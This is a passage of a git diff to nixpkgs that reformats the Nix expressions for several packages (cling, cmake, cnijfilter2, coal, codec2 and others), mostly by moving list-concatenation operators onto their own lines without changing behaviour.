+    "test_html"
+    "test_python"
+    "test_qml_only"
+    "test_rust"
+    "test_review"
+    "test_click_build"
+    "test_no_device"
+    "test_no_file_temp"
+    "test_update"
+    "test_lib_build"
+    "test_clean"
+    "test_temp_exception"
+    "test_create_interactive"
+    "test_create_non_interactive"
+    "test_kill"
+    "test_writable_image"
+    "test_no_desktop_mode"
+    "test_no_lock"
+    "test_run_default_command"
+    "test_run"
+    "test_no_container_mode_log"
+    "test_custom_mode_log"
+    "test_skip_desktop_mode"
+    "test_log"
+    "test_custom_lock_file"
+    "test_launch_custom"
+    "test_launch"
+    "test_devices"
+    "test_install"
+    "test_skip_container_mode"
+    "test_godot_plugin"
+  ]
+  ++
     # There are no docker images available for the aarch64 architecture
     # which are required for tests.
     lib.optionals stdenv.hostPlatform.isAarch64 [
diff --git a/pkgs/by-name/cl/clightning/package.nix b/pkgs/by-name/cl/clightning/package.nix
index cdfe44916f55..f6fa1727e402 100644
--- a/pkgs/by-name/cl/clightning/package.nix
+++ b/pkgs/by-name/cl/clightning/package.nix
@@ -38,23 +38,22 @@ stdenv.mkDerivation rec {
   # when building on darwin we need cctools to provide the correct libtool
   # as libwally-core detects the host as darwin and tries to add the -static
   # option to libtool, also we have to add the modified gsed package.
-  nativeBuildInputs =
-    [
-      autoconf
-      autogen
-      automake
-      gettext
-      libtool
-      lowdown-unsandboxed
-      protobuf
-      py3
-      unzip
-      which
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      cctools
-      darwin.autoSignDarwinBinariesHook
-    ];
+  nativeBuildInputs = [
+    autoconf
+    autogen
+    automake
+    gettext
+    libtool
+    lowdown-unsandboxed
+    protobuf
+    py3
+    unzip
+    which
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    cctools
+    darwin.autoSignDarwinBinariesHook
+  ];
 
   buildInputs = [
     gmp
diff --git a/pkgs/by-name/cl/cling/package.nix b/pkgs/by-name/cl/cling/package.nix
index 63b4a681745c..3d92e34f9da1 100644
--- a/pkgs/by-name/cl/cling/package.nix
+++ b/pkgs/by-name/cl/cling/package.nix
@@ -82,32 +82,31 @@ let
 
     strictDeps = true;
 
-    cmakeFlags =
-      [
-        "-DLLVM_BINARY_DIR=${llvm.out}"
-        "-DLLVM_CONFIG=${llvm.dev}/bin/llvm-config"
-        "-DLLVM_LIBRARY_DIR=${llvm.lib}/lib"
-        "-DLLVM_MAIN_INCLUDE_DIR=${llvm.dev}/include"
-        "-DLLVM_TABLEGEN_EXE=${llvm.out}/bin/llvm-tblgen"
-        "-DLLVM_TOOLS_BINARY_DIR=${llvm.out}/bin"
-        "-DLLVM_BUILD_TOOLS=Off"
-        "-DLLVM_TOOL_CLING_BUILD=ON"
+    cmakeFlags = [
+      "-DLLVM_BINARY_DIR=${llvm.out}"
+      "-DLLVM_CONFIG=${llvm.dev}/bin/llvm-config"
+      "-DLLVM_LIBRARY_DIR=${llvm.lib}/lib"
+      "-DLLVM_MAIN_INCLUDE_DIR=${llvm.dev}/include"
+      "-DLLVM_TABLEGEN_EXE=${llvm.out}/bin/llvm-tblgen"
+      "-DLLVM_TOOLS_BINARY_DIR=${llvm.out}/bin"
+      "-DLLVM_BUILD_TOOLS=Off"
+      "-DLLVM_TOOL_CLING_BUILD=ON"
 
-        "-DLLVM_TARGETS_TO_BUILD=host;NVPTX"
-        "-DLLVM_ENABLE_RTTI=ON"
+      "-DLLVM_TARGETS_TO_BUILD=host;NVPTX"
+      "-DLLVM_ENABLE_RTTI=ON"
 
-        # Setting -DCLING_INCLUDE_TESTS=ON causes the cling/tools targets to be built;
-        # see cling/tools/CMakeLists.txt
-        "-DCLING_INCLUDE_TESTS=ON"
-        "-DCLANG-TOOLS=OFF"
-      ]
-      ++ lib.optionals debug [
-        "-DCMAKE_BUILD_TYPE=Debug"
-      ]
-      ++ lib.optionals useLLVMLibcxx [
-        "-DLLVM_ENABLE_LIBCXX=ON"
-        "-DLLVM_ENABLE_LIBCXXABI=ON"
-      ];
+      # Setting -DCLING_INCLUDE_TESTS=ON causes the cling/tools targets to be built;
+      # see cling/tools/CMakeLists.txt
+      "-DCLING_INCLUDE_TESTS=ON"
+      "-DCLANG-TOOLS=OFF"
+    ]
+    ++ lib.optionals debug [
+      "-DCMAKE_BUILD_TYPE=Debug"
+    ]
+    ++ lib.optionals useLLVMLibcxx [
+      "-DLLVM_ENABLE_LIBCXX=ON"
+      "-DLLVM_ENABLE_LIBCXXABI=ON"
+    ];
 
     CPPFLAGS = if useLLVMLibcxx then [ "-stdlib=libc++" ] else [ ];
 
@@ -161,27 +160,26 @@ let
   # Thus, if you're packaging a Jupyter kernel, you either need to pass these flags as extra
   # args to xcpp (for xeus-cling) or put them in the environment variable CLING_OPTS
   # (for jupyter-cling-kernel).
-  flags =
-    [
-      "-nostdinc"
-      "-nostdinc++"
+  flags = [
+    "-nostdinc"
+    "-nostdinc++"
 
-      "-resource-dir"
-      "${llvm.lib}/lib"
+    "-resource-dir"
+    "${llvm.lib}/lib"
 
-      "-isystem"
-      "${lib.getLib unwrapped}/lib/clang/${llvmPackages_13.clang.version}/include"
-    ]
-    ++ cxxFlags
-    ++ [
-      # System libc
-      "-isystem"
-      "${lib.getDev stdenv.cc.libc}/include"
+    "-isystem"
+    "${lib.getLib unwrapped}/lib/clang/${llvmPackages_13.clang.version}/include"
+  ]
+  ++ cxxFlags
+  ++ [
+    # System libc
+    "-isystem"
+    "${lib.getDev stdenv.cc.libc}/include"
 
-      # cling includes
-      "-isystem"
-      "${lib.getDev unwrapped}/include"
-    ];
+    # cling includes
+    "-isystem"
+    "${lib.getDev unwrapped}/include"
+  ];
 
 in
 
diff --git a/pkgs/by-name/cl/clipboard-jh/package.nix b/pkgs/by-name/cl/clipboard-jh/package.nix
index 5ed2283649a3..a6e58c26e227 100644
--- a/pkgs/by-name/cl/clipboard-jh/package.nix
+++ b/pkgs/by-name/cl/clipboard-jh/package.nix
@@ -35,15 +35,16 @@ stdenv.mkDerivation rec {
     wayland-scanner
   ];
 
-  buildInputs =
-    [ openssl ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      libffi
-      wayland-protocols
-      wayland
-      xorg.libX11
-      alsa-lib
-    ];
+  buildInputs = [
+    openssl
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    libffi
+    wayland-protocols
+    wayland
+    xorg.libX11
+    alsa-lib
+  ];
 
   cmakeBuildType = "MinSizeRel";
 
diff --git a/pkgs/by-name/cl/clojure-lsp/package.nix b/pkgs/by-name/cl/clojure-lsp/package.nix
index 695ada8c5491..20cc93b1ec44 100644
--- a/pkgs/by-name/cl/clojure-lsp/package.nix
+++ b/pkgs/by-name/cl/clojure-lsp/package.nix
@@ -33,18 +33,17 @@ buildGraalvmNativeImage rec {
   ];
 
   doCheck = true;
-  checkPhase =
-    ''
-      runHook preCheck
+  checkPhase = ''
+    runHook preCheck
 
-      export HOME="$(mktemp -d)"
-      ./clojure-lsp --version | fgrep -q '${version}'
-    ''
-    # TODO: fix classpath issue per https://github.com/NixOS/nixpkgs/pull/153770
-    #${babashka}/bin/bb integration-test ./clojure-lsp
-    + ''
-      runHook postCheck
-    '';
+    export HOME="$(mktemp -d)"
+    ./clojure-lsp --version | fgrep -q '${version}'
+  ''
+  # TODO: fix classpath issue per https://github.com/NixOS/nixpkgs/pull/153770
+  #${babashka}/bin/bb integration-test ./clojure-lsp
+  + ''
+    runHook postCheck
+  '';
 
   passthru.tests.version = testers.testVersion {
     inherit version;
diff --git a/pkgs/by-name/cl/cloudlogoffline/package.nix b/pkgs/by-name/cl/cloudlogoffline/package.nix
index 6732d3ec92a2..5f0dfbd66cb9 100644
--- a/pkgs/by-name/cl/cloudlogoffline/package.nix
+++ b/pkgs/by-name/cl/cloudlogoffline/package.nix
@@ -18,14 +18,13 @@ stdenv.mkDerivation (self: {
     repo = "cloudLogOffline";
   };
 
-  nativeBuildInputs =
-    [
-      qt6.qmake
-      qt6.wrapQtAppsHook
-    ]
-    ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
-      copyDesktopItems
-    ];
+  nativeBuildInputs = [
+    qt6.qmake
+    qt6.wrapQtAppsHook
+  ]
+  ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
+    copyDesktopItems
+  ];
 
   buildInputs = [
     qt6.qtbase
diff --git a/pkgs/by-name/cl/clutter/package.nix b/pkgs/by-name/cl/clutter/package.nix
index 8d3fa575cf71..d4f6cf46fdc0 100644
--- a/pkgs/by-name/cl/clutter/package.nix
+++ b/pkgs/by-name/cl/clutter/package.nix
@@ -46,38 +46,36 @@ stdenv.mkDerivation rec {
     pkg-config
     gobject-introspection
   ];
-  propagatedBuildInputs =
-    [
-      cogl
-      pango
-      atk
-      json-glib
-      gobject-introspection
-    ]
-    ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
-      libX11
-      libGL
-      libGLU
-      libXext
-      libXfixes
-      libXdamage
-      libXcomposite
-      libXi
-      libxcb
-      libinput
-      libgudev
-      libxkbcommon
-    ];
+  propagatedBuildInputs = [
+    cogl
+    pango
+    atk
+    json-glib
+    gobject-introspection
+  ]
+  ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
+    libX11
+    libGL
+    libGLU
+    libXext
+    libXfixes
+    libXdamage
+    libXcomposite
+    libXi
+    libxcb
+    libinput
+    libgudev
+    libxkbcommon
+  ];
 
-  configureFlags =
-    [
-      "--enable-introspection" # needed by muffin AFAIK
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      "--without-x"
-      "--enable-x11-backend=no"
-      "--enable-quartz-backend=yes"
-    ];
+  configureFlags = [
+    "--enable-introspection" # needed by muffin AFAIK
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    "--without-x"
+    "--enable-x11-backend=no"
+    "--enable-quartz-backend=yes"
+  ];
 
   env = lib.optionalAttrs stdenv.cc.isClang {
     NIX_CFLAGS_COMPILE = "-Wno-error=implicit-function-declaration";
diff --git a/pkgs/by-name/cm/cmake/package.nix b/pkgs/by-name/cm/cmake/package.nix
index 15dc2765fcc6..55b5c911b440 100644
--- a/pkgs/by-name/cm/cmake/package.nix
+++ b/pkgs/by-name/cm/cmake/package.nix
@@ -55,37 +55,37 @@ stdenv.mkDerivation (finalAttrs: {
     hash = "sha256-ZTQn8PUBR1Cq//InJ/sqpgxscyypGAjPt4ziLd2eVfA=";
   };
 
-  patches =
-    [
-      # Add NIXPKGS_CMAKE_PREFIX_PATH to cmake which is like CMAKE_PREFIX_PATH
-      # except it is not searched for programs
-      ./000-nixpkgs-cmake-prefix-path.diff
-      # Don't search in non-Nix locations such as /usr, but do search in our libc.
-      ./001-search-path.diff
-    ]
-    ++ lib.optional stdenv.hostPlatform.isCygwin ./004-cygwin.diff
-    # On Darwin, always set CMAKE_SHARED_LIBRARY_RUNTIME_C_FLAG.
-    ++ lib.optional stdenv.hostPlatform.isDarwin ./006-darwin-always-set-runtime-c-flag.diff
-    # On platforms where ps is not part of stdenv, patch the invocation of ps to use an absolute path.
-    ++ lib.optional (stdenv.hostPlatform.isDarwin || stdenv.hostPlatform.isFreeBSD) (
-      replaceVars ./007-darwin-bsd-ps-abspath.diff {
-        ps = lib.getExe ps;
-      }
-    )
-    ++ [
-      # Backport of https://gitlab.kitware.com/cmake/cmake/-/merge_requests/9900
-      # Needed to correctly link curl in pkgsStatic.
-      ./008-FindCURL-Add-more-target-properties-from-pkg-config.diff
-      # Backport of https://gitlab.kitware.com/cmake/cmake/-/commit/1b0c92a3a1b782ff3e1c4499b6ab8db614d45bcd
-      ./009-cmCurl-Avoid-using-undocumented-type-for-CURLOPT_NETRC-values.diff
-    ];
+  patches = [
+    # Add NIXPKGS_CMAKE_PREFIX_PATH to cmake which is like CMAKE_PREFIX_PATH
+    # except it is not searched for programs
+    ./000-nixpkgs-cmake-prefix-path.diff
+    # Don't search in non-Nix locations such as /usr, but do search in our libc.
+    ./001-search-path.diff
+  ]
+  ++ lib.optional stdenv.hostPlatform.isCygwin ./004-cygwin.diff
+  # On Darwin, always set CMAKE_SHARED_LIBRARY_RUNTIME_C_FLAG.
+  ++ lib.optional stdenv.hostPlatform.isDarwin ./006-darwin-always-set-runtime-c-flag.diff
+  # On platforms where ps is not part of stdenv, patch the invocation of ps to use an absolute path.
+  ++ lib.optional (stdenv.hostPlatform.isDarwin || stdenv.hostPlatform.isFreeBSD) (
+    replaceVars ./007-darwin-bsd-ps-abspath.diff {
+      ps = lib.getExe ps;
+    }
+  )
+  ++ [
+    # Backport of https://gitlab.kitware.com/cmake/cmake/-/merge_requests/9900
+    # Needed to correctly link curl in pkgsStatic.
+    ./008-FindCURL-Add-more-target-properties-from-pkg-config.diff
+    # Backport of https://gitlab.kitware.com/cmake/cmake/-/commit/1b0c92a3a1b782ff3e1c4499b6ab8db614d45bcd
+    ./009-cmCurl-Avoid-using-undocumented-type-for-CURLOPT_NETRC-values.diff
+  ];
 
-  outputs =
-    [ "out" ]
-    ++ lib.optionals buildDocs [
-      "man"
-      "info"
-    ];
+  outputs = [
+    "out"
+  ]
+  ++ lib.optionals buildDocs [
+    "man"
+    "info"
+  ];
   separateDebugInfo = true;
   setOutputFlags = false;
 
@@ -134,51 +134,50 @@ stdenv.mkDerivation (finalAttrs: {
   # variables and commandline switches
   configurePlatforms = [ ];
 
-  configureFlags =
-    [
-      "CXXFLAGS=-Wno-elaborated-enum-base"
-      "--docdir=share/doc/${finalAttrs.pname}-${finalAttrs.version}"
-    ]
-    ++ (
-      if useSharedLibraries then
-        [
-          "--no-system-cppdap"
-          "--no-system-jsoncpp"
-          "--system-libs"
-        ]
-      else
-        [
-          "--no-system-libs"
-        ]
-    ) # FIXME: cleanup
-    ++ lib.optional qt5UI "--qt-gui"
-    ++ lib.optionals buildDocs [
-      "--sphinx-build=${sphinx}/bin/sphinx-build"
-      "--sphinx-info"
-      "--sphinx-man"
-    ]
-    # Workaround https://gitlab.kitware.com/cmake/cmake/-/issues/20568
-    ++ lib.optionals stdenv.hostPlatform.is32bit [
-      "CFLAGS=-D_FILE_OFFSET_BITS=64"
-      "CXXFLAGS=-D_FILE_OFFSET_BITS=64"
-    ]
-    ++ [
-      "--"
-      # We should set the proper `CMAKE_SYSTEM_NAME`.
-      # http://www.cmake.org/Wiki/CMake_Cross_Compiling
-      #
-      # Unfortunately cmake seems to expect absolute paths for ar, ranlib, and
-      # strip. Otherwise they are taken to be relative to the source root of the
-      # package being built.
-      (lib.cmakeFeature "CMAKE_CXX_COMPILER" "${stdenv.cc.targetPrefix}c++")
-      (lib.cmakeFeature "CMAKE_C_COMPILER" "${stdenv.cc.targetPrefix}cc")
-      (lib.cmakeFeature "CMAKE_AR" "${lib.getBin stdenv.cc.bintools.bintools}/bin/${stdenv.cc.targetPrefix}ar")
-      (lib.cmakeFeature "CMAKE_RANLIB" "${lib.getBin stdenv.cc.bintools.bintools}/bin/${stdenv.cc.targetPrefix}ranlib")
-      (lib.cmakeFeature "CMAKE_STRIP" "${lib.getBin stdenv.cc.bintools.bintools}/bin/${stdenv.cc.targetPrefix}strip")
+  configureFlags = [
+    "CXXFLAGS=-Wno-elaborated-enum-base"
+    "--docdir=share/doc/${finalAttrs.pname}-${finalAttrs.version}"
+  ]
+  ++ (
+    if useSharedLibraries then
+      [
+        "--no-system-cppdap"
+        "--no-system-jsoncpp"
+        "--system-libs"
+      ]
+    else
+      [
+        "--no-system-libs"
+      ]
+  ) # FIXME: cleanup
+  ++ lib.optional qt5UI "--qt-gui"
+  ++ lib.optionals buildDocs [
+    "--sphinx-build=${sphinx}/bin/sphinx-build"
+    "--sphinx-info"
+    "--sphinx-man"
+  ]
+  # Workaround https://gitlab.kitware.com/cmake/cmake/-/issues/20568
+  ++ lib.optionals stdenv.hostPlatform.is32bit [
+    "CFLAGS=-D_FILE_OFFSET_BITS=64"
+    "CXXFLAGS=-D_FILE_OFFSET_BITS=64"
+  ]
+  ++ [
+    "--"
+    # We should set the proper `CMAKE_SYSTEM_NAME`.
+    # http://www.cmake.org/Wiki/CMake_Cross_Compiling
+    #
+    # Unfortunately cmake seems to expect absolute paths for ar, ranlib, and
+    # strip. Otherwise they are taken to be relative to the source root of the
+    # package being built.
+    (lib.cmakeFeature "CMAKE_CXX_COMPILER" "${stdenv.cc.targetPrefix}c++")
+    (lib.cmakeFeature "CMAKE_C_COMPILER" "${stdenv.cc.targetPrefix}cc")
+    (lib.cmakeFeature "CMAKE_AR" "${lib.getBin stdenv.cc.bintools.bintools}/bin/${stdenv.cc.targetPrefix}ar")
+    (lib.cmakeFeature "CMAKE_RANLIB" "${lib.getBin stdenv.cc.bintools.bintools}/bin/${stdenv.cc.targetPrefix}ranlib")
+    (lib.cmakeFeature "CMAKE_STRIP" "${lib.getBin stdenv.cc.bintools.bintools}/bin/${stdenv.cc.targetPrefix}strip")
 
-      (lib.cmakeBool "CMAKE_USE_OPENSSL" useOpenSSL)
-      (lib.cmakeBool "BUILD_CursesDialog" cursesUI)
-    ];
+    (lib.cmakeBool "CMAKE_USE_OPENSSL" useOpenSSL)
+    (lib.cmakeBool "BUILD_CursesDialog" cursesUI)
+  ];
 
   # `pkgsCross.musl64.cmake.override { stdenv = pkgsCross.musl64.llvmPackages_16.libcxxStdenv; }`
   # fails with `The C++ compiler does not support C++11 (e.g.  std::unique_ptr).`
diff --git a/pkgs/by-name/cm/cmdstan/package.nix b/pkgs/by-name/cm/cmdstan/package.nix
index 7be852409821..022f27e74cb8 100644
--- a/pkgs/by-name/cm/cmdstan/package.nix
+++ b/pkgs/by-name/cm/cmdstan/package.nix
@@ -32,26 +32,24 @@ stdenv.mkDerivation rec {
     stanc
   ];
 
-  preConfigure =
-    ''
-      patchShebangs test-all.sh runCmdStanTests.py stan/
-    ''
-    # Fix inclusion of hardcoded paths in PCH files, by building in the store.
-    + ''
-      mkdir -p $out/opt
-      cp -R . $out/opt/cmdstan
-      cd $out/opt/cmdstan
-      mkdir -p bin
-      ln -s ${buildPackages.stanc}/bin/stanc bin/stanc
-    '';
+  preConfigure = ''
+    patchShebangs test-all.sh runCmdStanTests.py stan/
+  ''
+  # Fix inclusion of hardcoded paths in PCH files, by building in the store.
+  + ''
+    mkdir -p $out/opt
+    cp -R . $out/opt/cmdstan
+    cd $out/opt/cmdstan
+    mkdir -p bin
+    ln -s ${buildPackages.stanc}/bin/stanc bin/stanc
+  '';
 
-  makeFlags =
-    [
-      "build"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      "arch=${stdenv.hostPlatform.darwinArch}"
-    ];
+  makeFlags = [
+    "build"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    "arch=${stdenv.hostPlatform.darwinArch}"
+  ];
 
   # Disable inclusion of timestamps in PCH files when using Clang.
   env.CXXFLAGS = lib.optionalString stdenv.cc.isClang "-Xclang -fno-pch-timestamp";
diff --git a/pkgs/by-name/cm/cmtk/package.nix b/pkgs/by-name/cm/cmtk/package.nix
index c7fa4fb79e5f..e7fc907704ce 100644
--- a/pkgs/by-name/cm/cmtk/package.nix
+++ b/pkgs/by-name/cm/cmtk/package.nix
@@ -27,23 +27,21 @@ stdenv.mkDerivation (finalAttrs: {
 
   nativeBuildInputs = [ cmake ];
 
-  buildInputs =
-    [
-      bzip2
-      fftw
-      zlib
-    ]
-    ++ lib.optionals stdenv.cc.isClang [
-      llvmPackages.openmp
-    ];
+  buildInputs = [
+    bzip2
+    fftw
+    zlib
+  ]
+  ++ lib.optionals stdenv.cc.isClang [
+    llvmPackages.openmp
+  ];
 
-  cmakeFlags =
-    [
-      (lib.cmakeFeature "CMAKE_CXX_STANDARD" "14")
-    ]
-    ++ lib.optionals (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isAarch64) [
-      (lib.cmakeFeature "CMAKE_CXX_FLAGS" "-Dfinite=isfinite")
-    ];
+  cmakeFlags = [
+    (lib.cmakeFeature "CMAKE_CXX_STANDARD" "14")
+  ]
+  ++ lib.optionals (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isAarch64) [
+    (lib.cmakeFeature "CMAKE_CXX_FLAGS" "-Dfinite=isfinite")
+  ];
 
   meta = with lib; {
     description = "Computational Morphometry Toolkit";
diff --git a/pkgs/by-name/cm/cmusfm/package.nix b/pkgs/by-name/cm/cmusfm/package.nix
index 996103874d1f..fbc0b60f4398 100644
--- a/pkgs/by-name/cm/cmusfm/package.nix
+++ b/pkgs/by-name/cm/cmusfm/package.nix
@@ -23,8 +23,7 @@ stdenv.mkDerivation rec {
   };
 
   configureFlags =
-    lib.optional libnotifySupport "--enable-libnotify"
-    ++ lib.optional debug "--enable-debug";
+    lib.optional libnotifySupport "--enable-libnotify" ++ lib.optional debug "--enable-debug";
 
   nativeBuildInputs = [
     autoreconfHook
@@ -34,7 +33,8 @@ stdenv.mkDerivation rec {
   buildInputs = [
     curl
     gdk-pixbuf
-  ] ++ lib.optional libnotifySupport libnotify;
+  ]
+  ++ lib.optional libnotifySupport libnotify;
 
   meta = with lib; {
     description = "Last.fm and Libre.fm standalone scrobbler for the cmus music player";
diff --git a/pkgs/by-name/cn/cnijfilter2/package.nix b/pkgs/by-name/cn/cnijfilter2/package.nix
index 2a25ed7b212e..ef28042fd6be 100644
--- a/pkgs/by-name/cn/cnijfilter2/package.nix
+++ b/pkgs/by-name/cn/cnijfilter2/package.nix
@@ -46,70 +46,69 @@ stdenv.mkDerivation {
   #
   # Note that the drivers attempt to dlopen
   # $out/lib/cups/filter/libcnbpcnclapicom2.so
-  buildPhase =
-    ''
-      mkdir -p $out/lib
-      cp com/libs_bin_x86_64/* $out/lib
-      mkdir -p $out/lib/cups/filter
-      ln -s $out/lib/libcnbpcnclapicom2.so $out/lib/cups/filter
+  buildPhase = ''
+    mkdir -p $out/lib
+    cp com/libs_bin_x86_64/* $out/lib
+    mkdir -p $out/lib/cups/filter
+    ln -s $out/lib/libcnbpcnclapicom2.so $out/lib/cups/filter
 
-      export NIX_LDFLAGS="$NIX_LDFLAGS -L$out/lib"
-    ''
-    + lib.optionalString withDebug ''
-      export NIX_CFLAGS_COMPILE="$NIX_CFLAGS_COMPILE -D__DEBUG__ -DDEBUG_LOG"
-    ''
-    + ''
+    export NIX_LDFLAGS="$NIX_LDFLAGS -L$out/lib"
+  ''
+  + lib.optionalString withDebug ''
+    export NIX_CFLAGS_COMPILE="$NIX_CFLAGS_COMPILE -D__DEBUG__ -DDEBUG_LOG"
+  ''
+  + ''
 
-      (
-        cd lgmon3
-        substituteInPlace src/Makefile.am \
-          --replace /usr/include/libusb-1.0 \
-                    ${libusb1.dev}/include/libusb-1.0
-        ./autogen.sh --prefix=$out --enable-progpath=$out/bin \
-                     --datadir=$out/share \
-                     --enable-libdir=/var/cache/cups
-        make
-      )
+    (
+      cd lgmon3
+      substituteInPlace src/Makefile.am \
+        --replace /usr/include/libusb-1.0 \
+                  ${libusb1.dev}/include/libusb-1.0
+      ./autogen.sh --prefix=$out --enable-progpath=$out/bin \
+                   --datadir=$out/share \
+                   --enable-libdir=/var/cache/cups
+      make
+    )
 
-      (
-        cd cmdtocanonij2
-        ./autogen.sh --prefix=$out
-        make
-      )
+    (
+      cd cmdtocanonij2
+      ./autogen.sh --prefix=$out
+      make
+    )
 
-      (
-        cd cmdtocanonij3
-        ./autogen.sh --prefix=$out
-        make
-      )
+    (
+      cd cmdtocanonij3
+      ./autogen.sh --prefix=$out
+      make
+    )
 
-      (
-        cd cnijbe2
-        substituteInPlace src/Makefile.am \
-          --replace "/usr/lib/cups/backend" \
-                    "$out/lib/cups/backend"
-        ./autogen.sh --prefix=$out --enable-progpath=$out/bin
-        make
-      )
+    (
+      cd cnijbe2
+      substituteInPlace src/Makefile.am \
+        --replace "/usr/lib/cups/backend" \
+                  "$out/lib/cups/backend"
+      ./autogen.sh --prefix=$out --enable-progpath=$out/bin
+      make
+    )
 
-      (
-        cd rastertocanonij
-        ./autogen.sh --prefix=$out --enable-progpath=$out/bin
-        make
-      )
+    (
+      cd rastertocanonij
+      ./autogen.sh --prefix=$out --enable-progpath=$out/bin
+      make
+    )
 
-      (
-        cd tocanonij
-        ./autogen.sh --prefix=$out --enable-progpath=$out/bin
-        make
-      )
+    (
+      cd tocanonij
+      ./autogen.sh --prefix=$out --enable-progpath=$out/bin
+      make
+    )
 
-      (
-        cd tocnpwg
-        ./autogen.sh --prefix=$out --enable-progpath=$out/bin
-        make
-      )
-    '';
+    (
+      cd tocnpwg
+      ./autogen.sh --prefix=$out --enable-progpath=$out/bin
+      make
+    )
+  '';
 
   installPhase = ''
     (
diff --git a/pkgs/by-name/co/coal/package.nix b/pkgs/by-name/co/coal/package.nix
index 24e269a1e9fb..8deff583c690 100644
--- a/pkgs/by-name/co/coal/package.nix
+++ b/pkgs/by-name/co/coal/package.nix
@@ -28,32 +28,30 @@ stdenv.mkDerivation (finalAttrs: {
 
   strictDeps = true;
 
-  nativeBuildInputs =
-    [
-      cmake
-      doxygen
-    ]
-    ++ lib.optionals pythonSupport [
-      python3Packages.numpy
-      python3Packages.pythonImportsCheckHook
-    ];
+  nativeBuildInputs = [
+    cmake
+    doxygen
+  ]
+  ++ lib.optionals pythonSupport [
+    python3Packages.numpy
+    python3Packages.pythonImportsCheckHook
+  ];
 
-  propagatedBuildInputs =
-    [
-      assimp
-      jrl-cmakemodules
-      octomap
-      qhull
-      zlib
-    ]
-    ++ lib.optionals (!pythonSupport) [
-      boost
-      eigen
-    ]
-    ++ lib.optionals pythonSupport [
-      python3Packages.boost
-      python3Packages.eigenpy
-    ];
+  propagatedBuildInputs = [
+    assimp
+    jrl-cmakemodules
+    octomap
+    qhull
+    zlib
+  ]
+  ++ lib.optionals (!pythonSupport) [
+    boost
+    eigen
+  ]
+  ++ lib.optionals pythonSupport [
+    python3Packages.boost
+    python3Packages.eigenpy
+  ];
 
   cmakeFlags = [
     (lib.cmakeBool "COAL_BACKWARD_COMPATIBILITY_WITH_HPP_FCL" true)
diff --git a/pkgs/by-name/co/code-cursor/package.nix b/pkgs/by-name/co/code-cursor/package.nix
index 8b884edea82f..02de5e2a9464 100644
--- a/pkgs/by-name/co/code-cursor/package.nix
+++ b/pkgs/by-name/co/code-cursor/package.nix
@@ -89,14 +89,14 @@ in
     platforms = [
       "aarch64-linux"
       "x86_64-linux"
-    ] ++ lib.platforms.darwin;
+    ]
+    ++ lib.platforms.darwin;
     mainProgram = "cursor";
   };
 }).overrideAttrs
   (oldAttrs: {
     nativeBuildInputs =
-      (oldAttrs.nativeBuildInputs or [ ])
-      ++ lib.optionals hostPlatform.isDarwin [ undmg ];
+      (oldAttrs.nativeBuildInputs or [ ]) ++ lib.optionals hostPlatform.isDarwin [ undmg ];
 
     preInstall =
       (oldAttrs.preInstall or "")
diff --git a/pkgs/by-name/co/codeblocks/package.nix b/pkgs/by-name/co/codeblocks/package.nix
index c668c9e39a73..93c28e9d333b 100644
--- a/pkgs/by-name/co/codeblocks/package.nix
+++ b/pkgs/by-name/co/codeblocks/package.nix
@@ -31,15 +31,14 @@ stdenv.mkDerivation rec {
     wrapGAppsHook3
   ];
 
-  buildInputs =
-    [
-      wxGTK32
-      gtk3
-    ]
-    ++ lib.optionals contribPlugins [
-      hunspell
-      boost
-    ];
+  buildInputs = [
+    wxGTK32
+    gtk3
+  ]
+  ++ lib.optionals contribPlugins [
+    hunspell
+    boost
+  ];
 
   enableParallelBuilding = true;
 
@@ -49,15 +48,16 @@ stdenv.mkDerivation rec {
 
   postConfigure = lib.optionalString stdenv.hostPlatform.isLinux "substituteInPlace libtool --replace ldconfig ${stdenv.cc.libc.bin}/bin/ldconfig";
 
-  configureFlags =
-    [ "--enable-pch=no" ]
-    ++ lib.optionals contribPlugins [
-      (
-        "--with-contrib-plugins=all,-FileManager"
-        + lib.optionalString stdenv.hostPlatform.isDarwin ",-NassiShneiderman"
-      )
-      "--with-boost-libdir=${boost}/lib"
-    ];
+  configureFlags = [
+    "--enable-pch=no"
+  ]
+  ++ lib.optionals contribPlugins [
+    (
+      "--with-contrib-plugins=all,-FileManager"
+      + lib.optionalString stdenv.hostPlatform.isDarwin ",-NassiShneiderman"
+    )
+    "--with-boost-libdir=${boost}/lib"
+  ];
 
   postInstall = lib.optionalString stdenv.hostPlatform.isDarwin ''
     ln -s $out/lib/codeblocks/plugins $out/share/codeblocks/plugins
diff --git a/pkgs/by-name/co/codec2/package.nix b/pkgs/by-name/co/codec2/package.nix
index b7c29445a81c..2cf9365b58a4 100644
--- a/pkgs/by-name/co/codec2/package.nix
+++ b/pkgs/by-name/co/codec2/package.nix
@@ -58,23 +58,22 @@ stdenv.mkDerivation (finalAttrs: {
       sed -r -i 's/(\<_Complex)(\s+)(float|double)/\3\2\1/' $dev/include/$pname/freedv_api.h
     ''
     +
-      # generated cmake module is not compatible with multiple outputs
-      ''
-        substituteInPlace $dev/lib/cmake/codec2/codec2-config.cmake --replace-fail \
-          '"''${_IMPORT_PREFIX}/include/codec2' \
-          "\"$dev/include/codec2"
-      '';
+    # generated cmake module is not compatible with multiple outputs
+    ''
+      substituteInPlace $dev/lib/cmake/codec2/codec2-config.cmake --replace-fail \
+        '"''${_IMPORT_PREFIX}/include/codec2' \
+        "\"$dev/include/codec2"
+    '';
 
-  cmakeFlags =
-    [
-      # RPATH of binary /nix/store/.../bin/freedv_rx contains a forbidden reference to /build/
-      "-DCMAKE_SKIP_BUILD_RPATH=ON"
-      "-DCMAKE_C_COMPILER=${stdenv.cc.targetPrefix}cc"
-      "-DCMAKE_CXX_COMPILER=${stdenv.cc.targetPrefix}c++"
-    ]
-    ++ lib.optionals freedvSupport [
-      "-DLPCNET=ON"
-    ];
+  cmakeFlags = [
